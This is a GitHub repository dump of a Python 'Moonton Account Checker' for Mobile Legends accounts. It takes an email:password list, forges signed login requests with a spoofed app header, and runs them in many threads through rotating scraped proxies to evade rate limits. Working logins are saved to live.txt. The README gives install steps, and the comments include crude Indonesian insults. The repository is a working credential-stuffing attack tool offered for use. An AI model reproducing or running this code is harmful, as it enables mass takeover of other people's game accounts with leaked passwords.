├── ss.png ├── README.md ├── get_proxy └── proxy.py └── moonton.py /ss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JawaTengahXploit1337/MoontonChecker/HEAD/ss.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MOONTON ACCOUNT CHECKER 2 | 3 | Can only be run in python3 4 | 5 | ![IMG](ss.png) 6 | 7 | ## Install 8 | ``` 9 | pkg update && pkg upgrade 10 | pkg install python git 11 | pip install requests futures bs4 12 | git clone https://github.com/JawaTengahXploit1337/MoontonChecker 13 | cd MoontonChecker 14 | python moonton.py 15 | ``` 16 | -------------------------------------------------------------------------------- /get_proxy/proxy.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | # 4 | # * RECODE? OKE GAK MASSALAH 5 | # * TAPI YA JANGAN DI JUAL KONTOL 6 | # 7 | 8 | ############################################################ 9 | # Name : Moonton Account Checker # 10 | # File : proxy.py # 11 | # Author : DulLah & JavaXploiter # 12 | # Github : https://github.com/JawaTengahXploit1337 # 13 | # Website : https://javastore.my.id # 14 | # Donasi : https://saweria.co/AsmaraHancur # 15 | # Python version : 3.7++ # 16 | ############################################################ 17 | 18 | import requests, os, shutil 19 | from bs4 import BeautifulSoup as bs 20 | from concurrent.futures import ThreadPoolExecutor 21 | 22 | try: shutil.rmtree( 23 | 'get_proxy/__pycache__' 24 | ) 25 | except: pass 26 | 27 | proxy_list = [] 28 | valid_proxy = [] 29 | 30 | def prox(): 31 | print(''' 32 | [1] Ambil proxy dari situs (free-proxy-list.com) 33 | [2] Ambil proxy dari situs (free-proxy-list.net)[\033[92mDisarankan\033[0m] 34 | [3] Dari file 35 | ''') 36 | ask = int( 37 | input( 38 | '[?] Chose: ' 39 | ) 40 | ) 41 | if ask == 1: 42 | return proxy_com( 43 | ) 44 | elif ask == 2: 45 | return proxy_net( 46 | ) 47 | elif ask == 3: 48 | return from_file( 49 | ) 50 | else: 51 | exit( 52 | '\n[!] Goblokk ajg, elu butaa yaaa?' 53 | ) 54 | 55 | def proxy_checker(prox): 56 | try: 57 | global valid_proxy 58 | if requests.get( 59 | 'http://ip.ml.youngjoygame.com:30220/myip', 60 | verify=False, 61 | proxies=prox, 62 | timeout=10 63 | ).status_code == 200: 64 | valid_proxy.append( 65 | prox 66 | ) 67 | print( 68 | end='\r[+] Ditemukan (%s) proxy valid.'%( 69 | len( 70 | valid_proxy 71 | ) 72 | ), 73 | flush=True 74 | ) 75 | except: pass 76 | 77 | def proxy_com(): 78 | limit = int( 79 | input( 80 | '[?] Limit (ex: 100): ' 81 | ) 82 | ) 83 | count = 1 84 | stop = False 85 | url = 'https://free-proxy-list.com?page=%s' %( 86 | str( 87 | count 88 | ) 89 | ) 90 | while 1: 91 | try: 92 | found = False 93 | r = requests.get( 94 | url, 95 | headers={'user-agent':'chrome'} 96 | ).text 97 | soup = bs( 98 | r, 99 | 'html.parser' 100 | ) 101 | for x in soup.find_all('a'): 102 | if x.has_attr( 103 | 'alt' 104 | ) == True: 105 | proxy = ( 106 | x['alt'] 107 | ) 108 | found = True 109 | proxy_list.append({ 110 | 'http':'http://'+proxy.strip(), 111 | 'https':'https://'+proxy.strip() 112 | }) if len( 113 | proxy.strip().split(':') 114 | ) == 2 else None 115 | print( 116 | end='\r[+] Mengambil (%s) proxy.'%( 117 | len(proxy_list) 118 | ), 119 | flush=True 120 | ) 121 | if len( 122 | proxy_list 123 | ) == limit or len( 124 | proxy_list 125 | ) > limit: 126 | stop = True 127 | break 128 | if found == False: 129 | print( 130 | '\n[!] Hanya bisa mengambil (%s) proxy' %( 131 | str( 132 | len( 133 | proxy_list 134 | ) 135 | ) 136 | ) 137 | ) 138 | break 139 | elif stop == False: 140 | count+=1 141 | url = 'https://free-proxy-list.com?page=%s' %( 142 | str( 143 | count 144 | ) 145 | ) 146 | else: 147 | break 148 | except: pass 149 | if len( 150 | proxy_list 151 | ) != 0: 152 | print( 153 | '\n[*] Mencari proxy valid' 154 | ) 155 | with ThreadPoolExecutor( 156 | max_workers=50 157 | ) as thread: 158 | [ 159 | thread.submit( 160 | proxy_checker,( 161 | prox 162 | ) 163 | ) for prox in proxy_list 164 | ] 165 | if len( 166 | valid_proxy 167 | ) != 0: 168 | print( 169 | '\n' 170 | ) 171 | return valid_proxy 172 | else: exit( 173 | '[!] Maaf tidak ada proxy yang valid silahkan coba lagi :(' 174 | ) 175 | else: exit( 176 | '[!] Maaf proxy tidak ada :(' 177 | ) 178 | 179 | def proxy_net(): 180 | print( 181 | '[*] Mencari proxy valid' 182 | ) 183 | r = requests.get( 184 | 'https://free-proxy-list.net/', 185 | headers={'user-agent':'chrome'} 186 | ).text 187 | soup = bs( 188 | r, 189 | 'html.parser' 190 | ) 191 | proxs = soup.find( 192 | 'textarea' 193 | ).text.split( 194 | '\n' 195 | ) 196 | [ 197 | proxy_list.append({ 198 | 'http':'http://'+e.strip(), 199 | 'https':'https://'+e.strip() 200 | }) if len( 201 | e.strip( 202 | ).split( 203 | ':' 204 | ) 205 | ) == 2 else None for e in proxs 206 | ] 207 | if len( 208 | proxy_list 209 | ) != 0: 210 | with ThreadPoolExecutor( 211 | max_workers=50 212 | ) as thread: 213 | [ 214 | thread.submit( 215 | proxy_checker,( 216 | prox 217 | ) 218 | ) for prox in proxy_list 219 | ] 220 | if len( 221 | valid_proxy 222 | ) != 0: 223 | print( 224 | '\n' 225 | ) 226 | return valid_proxy 227 | else: exit( 228 | '[!] Maaf tidak ada proxy yang valid silahkan coba lagi :(' 229 | ) 230 | else: exit( 231 | '[!] Maaf proxy tidak ada :(' 232 | ) 233 | 234 | def from_file(): 235 | print( 236 | '\n[!] Pemisah ip:port ex: 10.1.3:8080' 237 | ) 238 | list = input( 239 | '[?] List proxy (ex: proxy.txt): ' 240 | ) 241 | if os.path.exists( 242 | list 243 | ): 244 | for data in open( 245 | list, 246 | 'r', 247 | encoding='utf-8' 248 | ).readlines( 249 | ): 250 | prox = data.strip( 251 | ).split( 252 | ':' 253 | ) 254 | try: 255 | if prox[0] and prox[1]: 256 | proxy_list.append({ 257 | 'http': 'http://'+data.strip(), 258 | 'https': 'https://'+data.strip(), 259 | }) 260 | except: pass 261 | if len( 262 | proxy_list 263 | ) != 0: 264 | print( 265 | '[*] Total (%s) proxy' %( 266 | str( 267 | len( 268 | proxy_list 269 | ) 270 | ) 271 | ) 272 | ) 273 | print( 274 | '[*] Mencari proxy valid' 275 | ) 276 | with ThreadPoolExecutor( 277 | max_workers=50 278 | ) as thread: 279 | [ 280 | thread.submit( 281 | proxy_checker,( 282 | prox 283 | ) 284 | ) for prox in proxy_list 285 | ] 286 | if len( 287 | valid_proxy 288 | ) != 0: 289 | print( 290 | '\n' 291 | ) 292 | return valid_proxy 293 | else: exit( 294 | '[!] Maaf tidak ada proxy yang valid silahkan coba lagi :(' 295 | ) 296 | else: exit( 297 | '[!] Maaf proxy tidak ada :(' 298 | ) 299 | else: exit( 300 | '[!] File tidak ditemukan "{0}"'.format( 301 | list 302 | ) 303 | ) 304 | -------------------------------------------------------------------------------- /moonton.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | # 4 | # * RECODE? OKE GAK MASSALAH 5 | # * TAPI YA JANGAN DI JUAL KONTOL 6 | # 7 | 8 | ############################################################ 9 | # Name : Moonton Account Checker # 10 | # File : moonton.py # 11 | # Author : DulLah # 12 | # Github : https://github.com/dz-id # 13 | # Facebook : https://www.facebook.com/dulahz # 14 | # Telegram : https://t.me/DulLah # 15 | # Python version : 3.7++ # 16 | ############################################################ 17 | 18 | import os, sys, hashlib, json, random, re 19 | from get_proxy import proxy 20 | 21 | try: 22 | from concurrent.futures import ThreadPoolExecutor 23 | except ImportError: 24 | os.system( 25 | 'pip install futures' 26 | ) 27 | exit( 28 | 'Please restart this tools' 29 | ) 30 | 31 | try: 32 | from bs4 import BeautifulSoup as bs 33 | except ImportError: 34 | os.system( 35 | 'pip install bs4' 36 | ) 37 | exit( 38 | 'Please restart this tools' 39 | ) 40 | 41 | try: 42 | import requests 43 | except ImportError: 44 | os.system( 45 | 'pip install requests' 46 | ) 47 | exit( 48 | 'Please restart this tools' 49 | ) 50 | 51 | api = 'https://accountmtapi.mobilelegends.com/' 52 | 53 | class MOONTON: 54 | def __init__(self, url): 55 | self.userdata = [] 56 | self.live = [] 57 | self.wrong_password = [] 58 | self.wrong_email = [] 59 | self.limit_login = [] 60 | self.unknown = [] 61 | self.proxy_list = [] 62 | self.api = url 63 | self.loop = 0 64 | print('''\033[0m 65 | 66 | |V| _ _ __ _|_ _ __ / |_ _ _ | _ __ 67 | | |(_)(_)| | |_(_)| | \__| |(/_(_ |<(/_ | 68 | --------------------------------------------- 69 | - Created By (DulLah) - 70 | ---------------------------------------------\n''') 71 | ########################################## 72 | # Please don't remove the author name :( # 73 | ########################################## 74 | 75 | def auto_upper(self, string): 76 | text = ''.join( 77 | re.findall( 78 | '[a-z-A-Z]', 79 | string 80 | ) 81 | ) 82 | if text.islower( 83 | ) == True: 84 | o = '' 85 | for i in range( 86 | len( 87 | string 88 | ) 89 | ): 90 | if string[i].isnumeric( 91 | ) == False and string[ 92 | i 93 | ].isalpha( 94 | ): 95 | return o + string[ 96 | i 97 | ].upper( 98 | ) + string[ 99 | i+1: 100 | ] 101 | else: o+=string[ 102 | i 103 | ] 104 | return string 105 | else: return string 106 | 107 | def main(self): 108 | print( 109 | '[!] Pemisah email:password atau email|password\n' 110 | ) 111 | empas = input( 112 | '[?] List empas (ex: list.txt): ' 113 | ) 114 | if os.path.exists( 115 | empas 116 | ): 117 | for data in open( 118 | empas, 119 | 'r', 120 | encoding='utf-8' 121 | ).readlines(): 122 | try: 123 | user = data.strip( 124 | ).split( 125 | '|' 126 | ) 127 | if user[ 128 | 0 129 | ] and user[ 130 | 1 131 | ]: 132 | em = user[ 133 | 0 134 | ] 135 | pw = self.auto_upper( 136 | user[ 137 | 1 138 | ] 139 | ) 140 | self.userdata.append({ 141 | 'email': em, 142 | 'pw': pw, 143 | 'userdata': '|'.join( 144 | [ 145 | em, 146 | pw 147 | ] 148 | ) 149 | }) 150 | except IndexError: 151 | try: 152 | user = data.strip().split( 153 | ':' 154 | ) 155 | if user[ 156 | 0 157 | ] and user[ 158 | 1 159 | ]: 160 | em = user[ 161 | 0 162 | ] 163 | pw = self.auto_upper( 164 | user[ 165 | 1 166 | ] 167 | ) 168 | self.userdata.append({ 169 | 'email': em, 170 | 'pw': pw, 171 | 'userdata': ':'.join( 172 | [ 173 | em, 174 | pw 175 | ] 176 | ) 177 | }) 178 | except: pass 179 | if len( 180 | self.userdata 181 | ) == 0: 182 | exit( 183 | '[!] Empas tidak ada atau tidak valid pastikan berformat email:pass atau email|pass' 184 | ) 185 | print( 186 | '[*] Total {0} account'.format( 187 | str( 188 | len( 189 | self.userdata 190 | ) 191 | ) 192 | ) 193 | ) 194 | ask = input( 195 | '[?] Apakah ingin menggunakan proxy?(\033[92mDisarankan\033[0m) [Y/t]: ' 196 | ) 197 | if ask.lower( 198 | ).strip( 199 | ) == 'y': 200 | self.valid_proxy = proxy.prox( 201 | ) 202 | with ThreadPoolExecutor( 203 | max_workers=50 204 | ) as thread: 205 | [ 206 | thread.submit( 207 | self.validate, 208 | user, 209 | True 210 | ) for user in self.userdata 211 | ] 212 | else: 213 | print( 214 | '' 215 | ) 216 | with ThreadPoolExecutor( 217 | max_workers=10 218 | ) as thread: 219 | [ 220 | thread.submit( 221 | self.validate, 222 | user, 223 | False 224 | ) for user in self.userdata 225 | ] 226 | print( 227 | '\n\n[#] LIVE: '+str( 228 | len( 229 | self.live 230 | ) 231 | )+' - saved: live.txt' 232 | ) 233 | if len( 234 | self.live 235 | ) != 0: 236 | print( 237 | '\n'.join( 238 | self.live 239 | )+'\n' 240 | ) 241 | print( 242 | '[#] WRONG PASS: '+str( 243 | len( 244 | self.wrong_password 245 | ) 246 | )+' - saved: wrongPwd.txt' 247 | ) 248 | print( 249 | '[#] WRONG EMAIL: '+str( 250 | len( 251 | self.wrong_email 252 | ) 253 | )+' - saved: wrongEmail.txt' 254 | ) 255 | print( 256 | '[#] LIMIT LOGIN: '+str( 257 | len( 258 | self.limit_login 259 | ) 260 | )+' - saved: limitLogin.txt' 261 | ) 262 | print( 263 | '[#] UNKNOWN: '+str( 264 | len( 265 | self.unknown 266 | ) 267 | )+' - saved: unknown.txt' 268 | ) 269 | exit( 270 | ) 271 | else: print( 272 | '[!] File tidak ditemukan "{0}"'.format( 273 | empas 274 | ) 275 | ) 276 | 277 | def hash_md5(self, string): 278 | md5 = hashlib.new( 279 | 'md5' 280 | ) 281 | md5.update( 282 | string.encode( 283 | 'utf-8' 284 | ) 285 | ) 286 | return md5.hexdigest( 287 | ) 288 | 289 | def build_params(self, user): 290 | md5pwd = self.hash_md5( 291 | user[ 292 | 'pw' 293 | ] 294 | ) 295 | hashed = self.hash_md5( 296 | 'account={0}&md5pwd={1}&op=login'.format( 297 | user[ 298 | 'email' 299 | ], 300 | md5pwd 301 | ) 302 | ) 303 | return json.dumps({ 304 | 'op': 'login', 305 | 'sign': hashed, 306 | 'params': { 307 | 'account': user[ 308 | 'email' 309 | ], 310 | 'md5pwd': md5pwd, 311 | }, 312 | 'lang': 'cn' 313 | }) 314 | 315 | def validate(self, user, with_porxy): 316 | try: 317 | data = self.build_params( 318 | user 319 | ) 320 | headers = { 321 | 'host': 'accountmtapi.mobilelegends.com', 322 | 'user-agent': 'Mozilla/5.0', 323 | 'x-requested-with': 'com.mobile.legends' # Fake requests 324 | } 325 | if with_porxy == True: 326 | proxy = random.choice( 327 | self.valid_proxy 328 | ) 329 | response = requests.post( 330 | self.api, 331 | data=data, 332 | headers=headers, 333 | proxies=proxy, 334 | timeout=10 335 | ) 336 | else: 337 | response = requests.post( 338 | self.api, 339 | data=data, 340 | headers=headers 341 | ) 342 | if response.status_code == 200: 343 | if response.json( 344 | )[ 345 | 'message' 346 | ] == 'Error_Success': 347 | print( 348 | '\r[\033[92mLIVE\033[0m] '+user[ 349 | 'userdata' 350 | ]+' -> (\033[92mSuccess login\033[0m)' 351 | ) 352 | self.live.append( 353 | user[ 354 | 'userdata' 355 | ] 356 | ) 357 | open( 358 | 'live.txt', 359 | 'a' 360 | ).write( 361 | str( 362 | user[ 363 | 'userdata' 364 | ] 365 | )+'\n' 366 | ) 367 | elif response.json( 368 | )[ 369 | 'message' 370 | ] == 'Error_PasswdError': 371 | print( 372 | '\r[\033[91mDIEE\033[0m] '+user[ 373 | 'userdata' 374 | ]+' -> (\033[91mWrong password\033[0m)' 375 | ) 376 | self.wrong_password.append( 377 | user[ 378 | 'userdata' 379 | ] 380 | ) 381 | open( 382 | 'wrongPwd.txt', 383 | 'a' 384 | ).write( 385 | str( 386 | user[ 387 | 'userdata' 388 | ] 389 | )+'\n' 390 | ) 391 | elif response.json( 392 | )[ 393 | 'message' 394 | ] == 'Error_PwdErrorTooMany': 395 | print( 396 | '\r[\033[91mDIEE\033[0m] '+user[ 397 | 'userdata' 398 | ]+' -> (\033[91mLimit login\033[0m)' 399 | ) 400 | self.limit_login.append( 401 | user[ 402 | 'userdata' 403 | ] 404 | ) 405 | open( 406 | 'limitLogin.txt', 407 | 'a' 408 | ).write( 409 | str( 410 | user[ 411 | 'userdata' 412 | ] 413 | )+'\n' 414 | ) 415 | elif response.json( 416 | )[ 417 | 'message' 418 | ] == 'Error_NoAccount': 419 | print( 420 | '\r[\033[91mDIEE\033[0m] '+user[ 421 | 'userdata' 422 | ]+' -> (\033[91mWrong email\033[0m)' 423 | ) 424 | self.wrong_email.append( 425 | user[ 426 | 'userdata' 427 | ] 428 | ) 429 | open( 430 | 'wrongEmail.txt', 431 | 'a' 432 | ).write( 433 | str( 434 | user[ 435 | 'userdata' 436 | ] 437 | )+'\n' 438 | ) 439 | else: 440 | print( 441 | '\r[\033[91mDIEE\033[0m] '+user[ 442 | 'userdata' 443 | ]+' -> (\033[91mUnknown\033[0m)' 444 | ) 445 | self.unknown.append( 446 | user[ 447 | 'userdata' 448 | ] 449 | ) 450 | open( 451 | 'unknown.txt', 452 | 'a' 453 | ).write( 454 | str( 455 | user[ 456 | 'userdata' 457 | ] 458 | )+'\n' 459 | ) 460 | die = len( 461 | self.wrong_password 462 | ) + len( 463 | self.limit_login 464 | ) + len( 465 | self.wrong_email 466 | ) + len( 467 | self.unknown 468 | ) 469 | self.loop+=1 470 | print( 471 | end='\r[*] Checked: %s/%s LIVE: %s - DIEE: %s '%( 472 | str( 473 | self.loop 474 | ), 475 | str( 476 | len( 477 | self.userdata 478 | ) 479 | ), 480 | str( 481 | len( 482 | self.live 483 | ) 484 | ), 485 | str( 486 | die 487 | ) 488 | ), 489 | flush=True 490 | ) 491 | else: self.validate( 492 | user, 493 | with_porxy 494 | ) 495 | except: self.validate( 496 | user, 497 | with_porxy 498 | ) 499 | 500 | if __name__ == '__main__': 501 | try: 502 | ( 503 | MOONTON( 504 | api 505 | ).main( 506 | ) 507 | ) 508 | except Exception as E: 509 | exit( 510 | '[!] Error: %s' %( 511 | E 512 | ) 513 | ) --------------------------------------------------------------------------------